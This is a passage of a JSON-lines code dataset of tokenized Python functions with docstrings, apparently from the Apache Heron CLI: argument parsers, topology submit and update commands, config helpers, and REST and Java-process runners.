tmp_dir)<EOL><DEDENT>else:<EOL><INDENT>return submit_pex(cl_args, unknown_args, tmp_dir)<EOL><DEDENT>", "docstring": "Submits the topology to the scheduler\n  * Depending on the topology file name extension, we treat the file as a\n    fatjar (if the ext is .jar) or a tar file (if the ext is .tar/.tar.gz).\n  * We upload the topology file to the packer, update zookeeper and launch\n    scheduler jobs representing that topology\n  * You can see your topology in Heron UI\n:param command:\n:param parser:\n:param cl_args:\n:param unknown_args:\n:return:", "id": "f7369:m10"}
{"signature": "def create_parser(subparsers):", "body": "parser = subparsers.add_parser(<EOL>'<STR_LIT>',<EOL>help='<STR_LIT>',<EOL>usage=\"<STR_LIT>\"<EOL>+ \"<STR_LIT>\"<EOL>+ \"<STR_LIT>\"<EOL>+ \"<STR_LIT>\",<EOL>add_help=True)<EOL>args.add_titles(parser)<EOL>args.add_cluster_role_env(parser)<EOL>args.add_topology(parser)<EOL>args.add_config(parser)<EOL>args.add_dry_run(parser)<EOL>args.add_service_url(parser)<EOL>args.add_verbose(parser)<EOL>def parallelism_type(value):<EOL><INDENT>pattern = re.compile(r\"<STR_LIT>\")<EOL>if not pattern.match(value):<EOL><INDENT>raise argparse.ArgumentTypeError(<EOL>\"<STR_LIT>\" % value)<EOL><DEDENT>return value<EOL><DEDENT>parser.add_argument(<EOL>'<STR_LIT>',<EOL>action='<STR_LIT>',<EOL>type=parallelism_type,<EOL>required=False,<EOL>help='<STR_LIT>'<EOL>+ '<STR_LIT>')<EOL>def runtime_config_type(value):<EOL><INDENT>pattern = re.compile(r\"<STR_LIT>\")<EOL>if not pattern.match(value):<EOL><INDENT>raise argparse.ArgumentTypeError(<EOL>\"<STR_LIT>\"<EOL>% value)<EOL><DEDENT>return value<EOL><DEDENT>parser.add_argument(<EOL>'<STR_LIT>',<EOL>action='<STR_LIT>',<EOL>type=runtime_config_type,<EOL>required=False,<EOL>help='<STR_LIT>'<EOL>+ '<STR_LIT>')<EOL>def container_number_type(value):<EOL><INDENT>pattern = re.compile(r\"<STR_LIT>\")<EOL>if not pattern.match(value):<EOL><INDENT>raise argparse.ArgumentTypeError(<EOL>\"<STR_LIT>\"<EOL>% value)<EOL><DEDENT>return value<EOL><DEDENT>parser.add_argument(<EOL>'<STR_LIT>',<EOL>action='<STR_LIT>',<EOL>type=container_number_type,<EOL>required=False,<EOL>help='<STR_LIT>')<EOL>parser.set_defaults(subcommand='<STR_LIT>')<EOL>return parser<EOL>", "docstring": "Create the parse for the update command", "id": "f7371:m0"}
{"signature": "def build_extra_args_dict(cl_args):", "body": "<EOL>component_parallelism = cl_args['<STR_LIT>']<EOL>runtime_configs = cl_args['<STR_LIT>']<EOL>container_number = cl_args['<STR_LIT>']<EOL>if (component_parallelism and runtime_configs) or (container_number and runtime_configs):<EOL><INDENT>raise Exception(<EOL>\"<STR_LIT>\" +<EOL>\"<STR_LIT>\")<EOL><DEDENT>dict_extra_args = {}<EOL>nothing_set = True<EOL>if component_parallelism:<EOL><INDENT>dict_extra_args.update({'<STR_LIT>': component_parallelism})<EOL>nothing_set = False<EOL><DEDENT>if container_number:<EOL><INDENT>dict_extra_args.update({'<STR_LIT>': container_number})<EOL>nothing_set = False<EOL><DEDENT>if runtime_configs:<EOL><INDENT>dict_extra_args.update({'<STR_LIT>': runtime_configs})<EOL>nothing_set = False<EOL><DEDENT>if nothing_set:<EOL><INDENT>raise Exception(<EOL>\"<STR_LIT>\")<EOL><DEDENT>if cl_args['<STR_LIT>']:<EOL><INDENT>dict_extra_args.update({'<STR_LIT>': True})<EOL>if '<STR_LIT>' in cl_args:<EOL><INDENT>dict_extra_args.update({'<STR_LIT>': cl_args[\"<STR_LIT>\"]})<EOL><DEDENT><DEDENT>return dict_extra_args<EOL>", "docstring": "Build extra args map", "id": "f7371:m1"}
{"signature": "def convert_args_dict_to_list(dict_extra_args):", "body": "list_extra_args = []<EOL>if '<STR_LIT>' in dict_extra_args:<EOL><INDENT>list_extra_args += [\"<STR_LIT>\",<EOL>'<STR_LIT:U+002C>'.join(dict_extra_args['<STR_LIT>'])]<EOL><DEDENT>if '<STR_LIT>' in dict_extra_args:<EOL><INDENT>list_extra_args += [\"<STR_LIT>\",<EOL>'<STR_LIT:U+002C>'.join(dict_extra_args['<STR_LIT>'])]<EOL><DEDENT>if '<STR_LIT>' in dict_extra_args:<EOL><INDENT>list_extra_args += [\"<STR_LIT>\",<EOL>'<STR_LIT:U+002C>'.join(dict_extra_args['<STR_LIT>'])]<EOL><DEDENT>if '<STR_LIT>' in dict_extra_args and dict_extra_args['<STR_LIT>']:<EOL><INDENT>list_extra_args += ['<STR_LIT>']<EOL><DEDENT>if '<STR_LIT>' in dict_extra_args:<EOL><INDENT>list_extra_args += ['<STR_LIT>', dict_extra_args['<STR_LIT>']]<EOL><DEDENT>return list_extra_args<EOL>", "docstring": "flatten extra args", "id": "f7371:m2"}
{"signature": "def run(command, parser, cl_args, unknown_args):", "body": "Log.debug(\"<STR_LIT>\", cl_args)<EOL>extra_lib_jars = jars.packing_jars()<EOL>action = \"<STR_LIT>\" % ('<STR_LIT>' if cl_args[\"<STR_LIT>\"] else '<STR_LIT>')<EOL>dict_extra_args = {}<EOL>try:<EOL><INDENT>dict_extra_args = build_extra_args_dict(cl_args)<EOL><DEDENT>except Exception as err:<EOL><INDENT>return SimpleResult(Status.InvocationError, err.message)<EOL><DEDENT>if cl_args['<STR_LIT>'] == config.SERVER_MODE:<EOL><INDENT>return cli_helper.run_server(command, cl_args, action, dict_extra_args)<EOL><DEDENT>else:<EOL><INDENT>list_extra_args = convert_args_dict_to_list(dict_extra_args)<EOL>return cli_helper.run_direct(command, cl_args, action, list_extra_args, extra_lib_jars)<EOL><DEDENT>", "docstring": "run the update command", "id": "f7371:m3"}
{"signature": "def get_heron_config():", "body": "opt_list = []<EOL>for (key, value) in config_opts.items():<EOL><INDENT>opt_list.append('<STR_LIT>' % (key, value))<EOL><DEDENT>all_opts = ('<STR_LIT:U+002C>'.join(opt_list)).replace('<STR_LIT:U+0020>', '<STR_LIT>')<EOL>return all_opts<EOL>", "docstring": "Get config opts from the global variable\n:return:", "id": "f7372:m0"}
{"signature": "def get_config(k):", "body": "global config_opts<EOL>if k in config_opts:<EOL><INDENT>return config_opts[k]<EOL><DEDENT>return None<EOL>", "docstring": "Get config opts from the config map\n:param k:\n:return:", "id": "f7372:m1"}
{"signature": "def set_config(k, v):", "body": "global config_opts<EOL>config_opts[k] = v<EOL>", "docstring": "Store a config opt in the config map\n:param k:\n:param v:\n:return:", "id": "f7372:m2"}
{"signature": "def clear_config():", "body": "global config_opts<EOL>config_opts = dict()<EOL>", "docstring": "Clear all the config in the config map\n:return:", "id": "f7372:m3"}
{"signature": "def create_parser(subparsers, action, help_arg):", "body": "parser = subparsers.add_parser(<EOL>action,<EOL>help=help_arg,<EOL>usage=\"<STR_LIT>\",<EOL>add_help=True)<EOL>args.add_titles(parser)<EOL>args.add_cluster_role_env(parser)<EOL>args.add_topology(parser)<EOL>args.add_config(parser)<EOL>args.add_service_url(parser)<EOL>args.add_verbose(parser)<EOL>parser.set_defaults(subcommand=action)<EOL>return parser<EOL>", "docstring": ":param subparsers:\n:param action:\n:param help_arg:\n:return:", "id": "f7373:m0"}
{"signature": "def run_server(command, cl_args, action, extra_args=dict()):", "body": "topology_name = cl_args['<STR_LIT>']<EOL>service_endpoint = cl_args['<STR_LIT>']<EOL>apiroute = rest.ROUTE_SIGNATURES[command][<NUM_LIT:1>] % (<EOL>cl_args['<STR_LIT>'],<EOL>cl_args['<STR_LIT>'],<EOL>cl_args['<STR_LIT>'],<EOL>topology_name<EOL>)<EOL>service_apiurl = service_endpoint + apiroute<EOL>service_method = rest.ROUTE_SIGNATURES[command][<NUM_LIT:0>]<EOL>data = flatten_args(extra_args)<EOL>err_msg = \"<STR_LIT>\" % (action, topology_name)<EOL>succ_msg = \"<STR_LIT>\" % (action, topology_name)<EOL>try:<EOL><INDENT>r = service_method(service_apiurl, data=data)<EOL>s = Status.Ok if r.status_code == requests.codes.ok else Status.HeronError<EOL>if r.status_code != requests.codes.ok:<EOL><INDENT>Log.error(r.json().get('<STR_LIT:message>', \"<STR_LIT>\" % r.status_code))<EOL><DEDENT><DEDENT>except (requests.exceptions.ConnectionError, requests.exceptions.HTTPError) as err:<EOL><INDENT>Log.error(err)<EOL>return SimpleResult(Status.HeronError, err_msg, succ_msg)<EOL><DEDENT>return SimpleResult(s, err_msg, succ_msg)<EOL>", "docstring": "helper function to take action on topologies using REST API\n:param command:\n:param cl_args:\n:param action:        description of action taken\n:return:", "id": "f7373:m2"}
{"signature": "def run_direct(command, cl_args, action, extra_args=[], extra_lib_jars=[]):", "body": "topology_name = cl_args['<STR_LIT>']<EOL>new_args = [<EOL>\"<STR_LIT>\", cl_args['<STR_LIT>'],<EOL>\"<STR_LIT>\", cl_args['<STR_LIT>'],<EOL>\"<STR_LIT>\", cl_args['<STR_LIT>'],<EOL>\"<STR_LIT>\", cl_args['<STR_LIT>'],<EOL>\"<STR_LIT>\", config.get_heron_dir(),<EOL>\"<STR_LIT>\", cl_args['<STR_LIT>'],<EOL>\"<STR_LIT>\", cl_args['<STR_LIT>'],<EOL>\"<STR_LIT>\", config.get_heron_release_file(),<EOL>\"<STR_LIT>\", topology_name,<EOL>\"<STR_LIT>\", command,<EOL>]<EOL>new_args += extra_args<EOL>lib_jars = config.get_heron_libs(jars.scheduler_jars() + jars.statemgr_jars())<EOL>lib_jars += extra_lib_jars<EOL>if Log.getEffectiveLevel() == logging.DEBUG:<EOL><INDENT>new_args.append(\"<STR_LIT>\")<EOL><DEDENT>result = execute.heron_class(<EOL>'<STR_LIT>',<EOL>lib_jars,<EOL>extra_jars=[],<EOL>args=new_args<EOL>)<EOL>err_msg = \"<STR_LIT>\" % (action, topology_name)<EOL>succ_msg = \"<STR_LIT>\" % (action, topology_name)<EOL>result.add_context(err_msg, succ_msg)<EOL>return result<EOL>", "docstring": "helper function to take action on topologies\n:param command:\n:param cl_args:\n:param action:        description of action taken\n:return:", "id": "f7373:m3"}
{"signature": "def create_parser(subparsers):", "body": "parser = subparsers.add_parser(<EOL>'<STR_LIT>',<EOL>help='<STR_LIT>',<EOL>add_help=True)<EOL>parser._positionals.title = \"<STR_LIT>\"<EOL>parser._optionals.title = \"<STR_LIT>\"<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>nargs='<STR_LIT:?>',<EOL>default='<STR_LIT>',<EOL>help='<STR_LIT>')<EOL>parser.set_defaults(subcommand='<STR_LIT>')<EOL>return parser<EOL>", "docstring": ":param subparsers:\n:return:", "id": "f7374:m0"}
{"signature": "def run(command, parser, args, unknown_args):", "body": "<EOL>command_help = args['<STR_LIT>']<EOL>if command_help == '<STR_LIT>':<EOL><INDENT>parser.print_help()<EOL>return SimpleResult(Status.Ok)<EOL><DEDENT>subparser = config.get_subparser(parser, command_help)<EOL>if subparser:<EOL><INDENT>print(subparser.format_help())<EOL>return SimpleResult(Status.Ok)<EOL><DEDENT>else:<EOL><INDENT>Log.error(\"<STR_LIT>\", command_help)<EOL>return SimpleResult(Status.InvocationError)<EOL><DEDENT>", "docstring": ":param command:\n:param parser:\n:param args:\n:param unknown_args:\n:return:", "id": "f7374:m1"}
{"signature": "def get_command_handlers():", "body": "return {<EOL>'<STR_LIT>': activate,<EOL>'<STR_LIT>': hconfig,<EOL>'<STR_LIT>': deactivate,<EOL>'<STR_LIT>': cli_help,<EOL>'<STR_LIT>': kill,<EOL>'<STR_LIT>': restart,<EOL>'<STR_LIT>': submit,<EOL>'<STR_LIT>': update,<EOL>'<STR_LIT:version>': version<EOL>}<EOL>", "docstring": "Create a map of command names and handlers", "id": "f7375:m0"}
{"signature": "def create_parser(command_handlers):", "body": "parser = argparse.ArgumentParser(<EOL>prog='<STR_LIT>',<EOL>epilog=HELP_EPILOG,<EOL>formatter_class=config.SubcommandHelpFormatter,<EOL>add_help=True)<EOL>subparsers = parser.add_subparsers(<EOL>title=\"<STR_LIT>\",<EOL>metavar='<STR_LIT>')<EOL>command_list = sorted(command_handlers.items())<EOL>for command in command_list:<EOL><INDENT>command[<NUM_LIT:1>].create_parser(subparsers)<EOL><DEDENT>return parser<EOL>", "docstring": "Main parser\n:return:", "id": "f7375:m1"}
{"signature": "def run(handlers, command, parser, command_args, unknown_args):", "body": "if command in handlers:<EOL><INDENT>return handlers[command].run(command, parser, command_args, unknown_args)<EOL><DEDENT>else:<EOL><INDENT>err_context = '<STR_LIT>' % command<EOL>return result.SimpleResult(result.Status.InvocationError, err_context)<EOL><DEDENT>", "docstring": "Run the command\n:param command:\n:param parser:\n:param command_args:\n:param unknown_args:\n:return:", "id": "f7375:m2"}
{"signature": "def cleanup(files):", "body": "for cur_file in files:<EOL><INDENT>if os.path.isdir(cur_file):<EOL><INDENT>shutil.rmtree(cur_file)<EOL><DEDENT>else:<EOL><INDENT>shutil.rmtree(os.path.dirname(cur_file))<EOL><DEDENT><DEDENT>", "docstring": ":param files:\n:return:", "id": "f7375:m3"}
{"signature": "def check_environment():", "body": "if not config.check_java_home_set():<EOL><INDENT>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>if not config.check_release_file_exists():<EOL><INDENT>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>", "docstring": "Check whether the environment variables are set\n:return:", "id": "f7375:m4"}
{"signature": "def server_deployment_mode(command, parser, cluster, cl_args):", "body": "<EOL>client_confs = cdefs.read_server_mode_cluster_definition(cluster, cl_args)<EOL>if not client_confs[cluster]:<EOL><INDENT>return dict()<EOL><DEDENT>if not cl_args.get('<STR_LIT>', None):<EOL><INDENT>Log.debug(\"<STR_LIT>\"% cliconfig.get_cluster_config_file(cluster))<EOL><DEDENT>else:<EOL><INDENT>Log.debug(\"<STR_LIT>\" % cl_args['<STR_LIT>'])<EOL><DEDENT>if not '<STR_LIT>' in client_confs[cluster]:<EOL><INDENT>config_file = cliconfig.get_cluster_config_file(cluster)<EOL>Log.error('<STR_LIT>', cluster, config_file)<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>if '<STR_LIT>' in cl_args:<EOL><INDENT>pass<EOL><DEDENT>try:<EOL><INDENT>cluster_role_env = (cl_args['<STR_LIT>'], cl_args['<STR_LIT>'], cl_args['<STR_LIT>'])<EOL>config.server_mode_cluster_role_env(cluster_role_env, client_confs)<EOL>cluster_tuple = config.defaults_cluster_role_env(cluster_role_env)<EOL><DEDENT>except Exception as ex:<EOL><INDENT>Log.error(\"<STR_LIT>\", str(ex))<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>new_cl_args = dict()<EOL>new_cl_args['<STR_LIT>'] = cluster_tuple[<NUM_LIT:0>]<EOL>new_cl_args['<STR_LIT>'] = cluster_tuple[<NUM_LIT:1>]<EOL>new_cl_args['<STR_LIT>'] = cluster_tuple[<NUM_LIT:2>]<EOL>new_cl_args['<STR_LIT>'] = client_confs[cluster]['<STR_LIT>'].rstrip('<STR_LIT:/>')<EOL>new_cl_args['<STR_LIT>'] = config.SERVER_MODE<EOL>cl_args.update(new_cl_args)<EOL>return cl_args<EOL>", "docstring": "check the server deployment mode for the given cluster\nif it is valid return the valid set of args\n:param cluster:\n:param cl_args:\n:return:", "id": "f7375:m5"}
{"signature": "def direct_deployment_mode(command, parser, cluster, cl_args):", "body": "cluster = cl_args['<STR_LIT>']<EOL>try:<EOL><INDENT>config_path = cl_args['<STR_LIT>']<EOL>override_config_file = config.parse_override_config_and_write_file(cl_args['<STR_LIT>'])<EOL><DEDENT>except KeyError:<EOL><INDENT>subparser = config.get_subparser(parser, command)<EOL>print(subparser.format_help())<EOL>return dict()<EOL><DEDENT>if not cdefs.check_direct_mode_cluster_definition(cluster, config_path):<EOL><INDENT>Log.error(\"<STR_LIT>\", config_path)<EOL>return dict()<EOL><DEDENT>config_path = config.get_heron_cluster_conf_dir(cluster, config_path)<EOL>if not os.path.isdir(config_path):<EOL><INDENT>Log.error(\"<STR_LIT>\", config_path)<EOL>return dict()<EOL><DEDENT>Log.info(\"<STR_LIT>\" % config_path)<EOL>try:<EOL><INDENT>cluster_role_env = (cl_args['<STR_LIT>'], cl_args['<STR_LIT>'], cl_args['<STR_LIT>'])<EOL>config.direct_mode_cluster_role_env(cluster_role_env, config_path)<EOL>cluster_tuple = config.defaults_cluster_role_env(cluster_role_env)<EOL><DEDENT>except Exception as ex:<EOL><INDENT>Log.error(\"<STR_LIT>\", str(ex))<EOL>return dict()<EOL><DEDENT>new_cl_args = dict()<EOL>new_cl_args['<STR_LIT>'] = cluster_tuple[<NUM_LIT:0>]<EOL>new_cl_args['<STR_LIT>'] = cluster_tuple[<NUM_LIT:1>]<EOL>new_cl_args['<STR_LIT>'] = cluster_tuple[<NUM_LIT:2>]<EOL>new_cl_args['<STR_LIT>'] = config_path<EOL>new_cl_args['<STR_LIT>'] = override_config_file<EOL>new_cl_args['<STR_LIT>'] = config.DIRECT_MODE<EOL>cl_args.update(new_cl_args)<EOL>return cl_args<EOL>", "docstring": "check the direct deployment mode for the given cluster\nif it is valid return the valid set of args\n:param command:\n:param parser:\n:param cluster:\n:param cl_args:\n:return:", "id": "f7375:m6"}
{"signature": "def extract_common_args(command, parser, cl_args):", "body": "try:<EOL><INDENT>cluster_role_env = cl_args.pop('<STR_LIT>')<EOL><DEDENT>except KeyError:<EOL><INDENT>try:<EOL><INDENT>cluster_role_env = cl_args.pop('<STR_LIT>')  <EOL><DEDENT>except KeyError:<EOL><INDENT>subparser = config.get_subparser(parser, command)<EOL>print(subparser.format_help())<EOL>return dict()<EOL><DEDENT><DEDENT>new_cl_args = dict()<EOL>cluster_tuple = config.get_cluster_role_env(cluster_role_env)<EOL>new_cl_args['<STR_LIT>'] = cluster_tuple[<NUM_LIT:0>]<EOL>new_cl_args['<STR_LIT>'] = cluster_tuple[<NUM_LIT:1>]<EOL>new_cl_args['<STR_LIT>'] = cluster_tuple[<NUM_LIT:2>]<EOL>new_cl_args['<STR_LIT>'] = getpass.getuser()<EOL>cl_args.update(new_cl_args)<EOL>return cl_args<EOL>", "docstring": "Extract all the common args for all commands\n:param command:\n:param parser:\n:param cl_args:\n:return:", "id": "f7375:m8"}
{"signature": "def execute(handlers, local_commands):", "body": "<EOL>check_environment()<EOL>parser = create_parser(handlers)<EOL>if len(sys.argv[<NUM_LIT:1>:]) == <NUM_LIT:0>:<EOL><INDENT>parser.print_help()<EOL>return <NUM_LIT:0><EOL><DEDENT>sys.argv = config.insert_bool_values(sys.argv)<EOL>try:<EOL><INDENT>args, unknown_args = parser.parse_known_args()<EOL><DEDENT>except ValueError as ex:<EOL><INDENT>Log.error(\"<STR_LIT>\", str(ex))<EOL>Log.debug(traceback.format_exc())<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>command_line_args = vars(args)<EOL>log.set_logging_level(command_line_args)<EOL>Log.debug(\"<STR_LIT>\", command_line_args)<EOL>mmand to be execute<EOL>command = command_line_args['<STR_LIT>']<EOL>is_local_command = command in local_commands<EOL>if command == '<STR_LIT:version>':<EOL><INDENT>results = run(handlers, command, parser, command_line_args, unknown_args)<EOL>return <NUM_LIT:0> if result.is_successful(results) else <NUM_LIT:1><EOL><DEDENT>if not is_local_command:<EOL><INDENT>log.set_logging_level(command_line_args)<EOL>Log.debug(\"<STR_LIT>\", command_line_args)<EOL>command_line_args = extract_common_args(command, parser, command_line_args)<EOL>command_line_args = deployment_mode(command, parser, command_line_args)<EOL>if not command_line_args:<EOL><INDENT>return <NUM_LIT:1><EOL><DEDENT>if command_line_args['<STR_LIT>'] == config.DIRECT_MODE and command != \"<STR_LIT:version>\":<EOL><INDENT>cleaned_up_files.append(command_line_args['<STR_LIT>'])<EOL>atexit.register(cleanup, cleaned_up_files)<EOL><DEDENT><DEDENT>Log.debug(\"<STR_LIT>\", command_line_args)<EOL>start = time.time()<EOL>results = run(handlers, command, parser, command_line_args, unknown_args)<EOL>if not is_local_command:<EOL><INDENT>result.render(results)<EOL><DEDENT>end = time.time()<EOL>if not is_local_command:<EOL><INDENT>sys.stdout.flush()<EOL>Log.debug('<STR_LIT>', (end - start))<EOL><DEDENT>return <NUM_LIT:0> if result.is_successful(results) else <NUM_LIT:1><EOL>", "docstring": "Run the command\n:return:", "id": "f7375:m9"}
{"signature": "def heron_class(class_name, lib_jars, extra_jars=None, args=None, java_defines=None):", "body": "<EOL>if extra_jars is None:<EOL><INDENT>extra_jars = []<EOL><DEDENT>if args is None:<EOL><INDENT>args = []<EOL><DEDENT>if java_defines is None:<EOL><INDENT>java_defines = []<EOL><DEDENT>java_opts = ['<STR_LIT>' + opt for opt in java_defines]<EOL>all_args = [config.get_java_path(), \"<STR_LIT>\", \"<STR_LIT>\"] +java_opts +[\"<STR_LIT>\", config.get_classpath(extra_jars + lib_jars)]<EOL>all_args += [class_name] + list(args)<EOL>heron_env = os.environ.copy()<EOL>heron_env['<STR_LIT>'] = opts.get_heron_config()<EOL>Log.debug(\"<STR_LIT>\", '<STR_LIT:U+0020>'.join(all_args))<EOL>Log.debug(\"<STR_LIT>\", str(heron_env[\"<STR_LIT>\"]))<EOL>process = subprocess.Popen(all_args, env=heron_env, stdout=subprocess.PIPE,<EOL>stderr=subprocess.PIPE, bufsize=<NUM_LIT:1>)<EOL>return ProcessResult(process)<EOL>", "docstring": "Execute a heron class given the args and the jars needed for class path\n:param class_name:\n:param lib_jars:\n:param extra_jars:\n:param args:\n:param java_defines:\n:return:", "id": "f7377:m0"}
{"signature": "def heron_tar(class_name, topology_tar, arguments, tmpdir_root, java_defines):", "body": "<EOL>tmpdir = tempfile.mkdtemp(dir=tmpdir_root, prefix='<STR_LIT>')<EOL>with contextlib.closing(tarfile.open(topology_tar)) as tar:<EOL><INDENT>tar.extractall(path=tmpdir)<EOL><DEDENT>topology_jar = os.path.basename(topology_tar).replace(\"<STR_LIT>\", \"<STR_LIT>\").replace(\"<STR_LIT>\", \"<STR_LIT>\") + \"<STR_LIT>\"<EOL>extra_jars = [<EOL>os.path.join(tmpdir, topology_jar),<EOL>os.path.join(tmpdir, \"<STR_LIT:*>\"),<EOL>os.path.join(tmpdir, \"<STR_LIT>\")<EOL>]<EOL>lib_jars = config.get_heron_libs(jars.topology_jars())<EOL>return heron_class(class_name, lib_jars, extra_jars, arguments, java_defines)<EOL>", "docstring": ":param class_name:\n:param topology_tar:\n:param arguments:\n:param tmpdir_root:\n:param java_defines:\n:return:", "id": "f7377:m1"}
{"signature": "def create_parser(subparsers):", "body": "return cli_helper.create_parser(subparsers, '<STR_LIT>', '<STR_LIT>')<EOL>", "docstring": ":param subparsers:\n:return:", "id": "f7378:m0"}
{"signature": "def run(command, parser, cl_args, unknown_args):", "body": "Log.debug(\"<STR_LIT>\", cl_args)<EOL>return cli_helper.run(command, cl_args, \"<STR_LIT>\")<EOL>", "docstring": ":param command:\n:param parser:\n:param cl_args:\n:param unknown_args:\n:return:", "id": "f7378:m1"}
{"signature": "def add_context(self, err_context, succ_context=None):", "body": "self.err_context = err_context<EOL>self.succ_context = succ_context<EOL>", "docstring": "Prepend msg to add some context information\n\n        :param pmsg: context info\n        :return: None", "id": "f7379:c1:m4"}
{"signature": "def renderProcessStdErr(self, stderr_line):", "body": "retcode = self.process.poll()<EOL>if retcode is not None and status_type(retcode) == Status.InvocationError:<EOL><INDENT>self._do_log(Log.error, stderr_line)<EOL><DEDENT>else:<EOL><INDENT>self._do_print(sys.stderr, stderr_line)<EOL><DEDENT>", "docstring": "render stderr of shelled-out process\n            stderr could be error message of failure of invoking process or\n            normal stderr output from successfully shelled-out process.\n            In the first case, ``Popen'' should fail fast and we should be able to\n            get return code immediately. We then render the failure message.\n            In the second case, we simply print stderr line in stderr.\n            The way to handle the first case is shaky but should be the best we can\n            do since we have conflicts of design goals here.\n        :param stderr_line: one line from shelled-out process\n        :return:", "id": "f7379:c3:m1"}
{"signature": "def renderProcessStdOut(self, stdout):", "body": "<EOL>assert self.status is not None<EOL>if self.status == Status.Ok:<EOL><INDENT>self._do_log(Log.info, stdout)<EOL><DEDENT>elif self.status == Status.HeronError:<EOL><INDENT>self._do_log(Log.error, stdout)<EOL><DEDENT>elif self.status == Status.DryRun:<EOL><INDENT>self._do_print(sys.stdout, stdout)<EOL><DEDENT>elif self.status == Status.InvocationError:<EOL><INDENT>self._do_print(sys.stdout, stdout)<EOL><DEDENT>else:<EOL><INDENT>raise RuntimeError(<EOL>\"<STR_LIT>\" %(self.status.value, list(Status)))<EOL><DEDENT>", "docstring": "render stdout of shelled-out process\n            stdout always contains information Java process wants to\n            propagate back to cli, so we do special rendering here\n        :param stdout: all lines from shelled-out process\n        :return:", "id": "f7379:c3:m2"}
{"signature": "def add_titles(parser):", "body": "<EOL>parser._positionals.title = \"<STR_LIT>\"<EOL>parser._optionals.title = \"<STR_LIT>\"<EOL>return parser<EOL>", "docstring": ":param parser:\n:return:", "id": "f7380:m0"}
{"signature": "def add_verbose(parser):", "body": "parser.add_argument(<EOL>'<STR_LIT>',<EOL>default=False,<EOL>help='<STR_LIT>')<EOL>return parser<EOL>", "docstring": ":param parser:\n:return:", "id": "f7380:m1"}
{"signature": "def add_topology(parser):", "body": "parser.add_argument(<EOL>'<STR_LIT>',<EOL>help='<STR_LIT>')<EOL>return parser<EOL>", "docstring": ":param parser:\n:return:", "id": "f7380:m2"}
{"signature": "def add_topology_file(parser):", "body": "parser.add_argument(<EOL>'<STR_LIT>',<EOL>help='<STR_LIT>')<EOL>return parser<EOL>", "docstring": ":param parser:\n:return:", "id": "f7380:m3"}
{"signature": "def add_topology_class(parser):", "body": "parser.add_argument(<EOL>'<STR_LIT>',<EOL>help='<STR_LIT>')<EOL>return parser<EOL>", "docstring": ":param parser:\n:return:", "id": "f7380:m4"}
{"signature": "def add_cluster_role_env(parser):", "body": "parser.add_argument(<EOL>'<STR_LIT>',<EOL>help='<STR_LIT>'<EOL>)<EOL>return parser<EOL>", "docstring": ":param parser:\n:return:", "id": "f7380:m5"}
{"signature": "def add_service_url(parser):", "body": "parser.add_argument(<EOL>'<STR_LIT>',<EOL>default=\"<STR_LIT>\",<EOL>help='<STR_LIT>')<EOL>return parser<EOL>", "docstring": ":param parser:\n:return:", "id": "f7380:m6"}
{"signature": "def add_config(parser):", "body": "<EOL>default_config_path = config.get_heron_conf_dir()<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>default=os.path.join(config.get_heron_dir(), default_config_path),<EOL>help='<STR_LIT>')<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>metavar='<STR_LIT>',<EOL>action='<STR_LIT>',<EOL>default=[],<EOL>help='<STR_LIT>')<EOL>return parser<EOL>", "docstring": ":param parser:\n:return:", "id": "f7380:m7"}
{"signature": "def add_system_property(parser):", "body": "parser.add_argument(<EOL>'<STR_LIT>',<EOL>metavar='<STR_LIT>',<EOL>action=\"<STR_LIT>\",<EOL>default=[],<EOL>help='<STR_LIT>')<EOL>return parser<EOL>", "docstring": ":param parser:\n:return:", "id": "f7380:m8"}
{"signature": "def add_deactive_deploy(parser):", "body": "parser.add_argument(<EOL>'<STR_LIT>',<EOL>default=False,<EOL>help='<STR_LIT>')<EOL>return parser<EOL>", "docstring": ":param parser:\n:return:", "id": "f7380:m9"}
{"signature": "def add_extra_launch_classpath(parser):", "body": "parser.add_argument(<EOL>'<STR_LIT>',<EOL>metavar='<STR_LIT>',<EOL>default=\"<STR_LIT>\",<EOL>help='<STR_LIT>')<EOL>return parser<EOL>", "docstring": ":param parser:\n:return:", "id": "f7380:m10"}
{"signature": "def add_release_yaml_file(parser):", "body": "parser.add_argument(<EOL>'<STR_LIT>',<EOL>default=\"<STR_LIT>\",<EOL>help='<STR_LIT>'<EOL>'<STR_LIT>')<EOL>return parser<EOL>", "docstring": ":param parser:\n:return:", "id": "f7380:m11"}
{"signature": "def add_dry_run(parser):", "body": "default_format = '<STR_LIT>'<EOL>resp_formats = ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']<EOL>available_options = '<STR_LIT:U+002CU+0020>'.join(['<STR_LIT:%s>' % opt for opt in resp_formats])<EOL>def dry_run_resp_format(value):<EOL><INDENT>if value not in resp_formats:<EOL><INDENT>raise argparse.ArgumentTypeError(<EOL>'<STR_LIT>'<EOL>% (value, available_options))<EOL><DEDENT>return value<EOL><DEDENT>parser.add_argument(<EOL>'<STR_LIT>',<EOL>default=False,<EOL>action='<STR_LIT:store_true>',<EOL>help='<STR_LIT>'<EOL>'<STR_LIT>')<EOL>parser.add_argument(<EOL>'<STR_LIT>',<EOL>metavar='<STR_LIT>',<EOL>default='<STR_LIT>' if sys.stdout.isatty() else '<STR_LIT>',<EOL>type=dry_run_resp_format,<EOL>help='<STR_LIT>'<EOL>'<STR_LIT>' % ('<STR_LIT:|>'.join(resp_formats), default_format))<EOL>return parser<EOL>", "docstring": ":param parser:\n:return:", "id": "f7380:m12"}
{"signature": "def create_parser(subparsers):", "body": "return cli_helper.create_parser(subparsers, '<STR_LIT>', '<STR_LIT>')<EOL>", "docstring": ":param subparsers:\n:return:", "id": "f7381:m0"}
{"signature": "def run(command, parser, cl_args, unknown_args):", "body": "Log.debug(\"<STR_LIT>\", cl_args)<EOL>return cli_helper.run(command, cl_args, \"<STR_LIT>\")<EOL>", "docstring": ":param command:\n:param parser:\n:param cl_args:\n:param unknown_args:\n:return:", "id": "f7381:m1"}
{"signature": "def pick(dirname, pattern):", "body": "file_list = fnmatch.filter(os.listdir(dirname), pattern)<EOL>return file_list[<NUM_LIT:0>] if file_list else None<EOL>", "docstring": "Get the topology jars\n:param dirname:\n:param pattern:\n:return:", "id": "f7382:m0"}
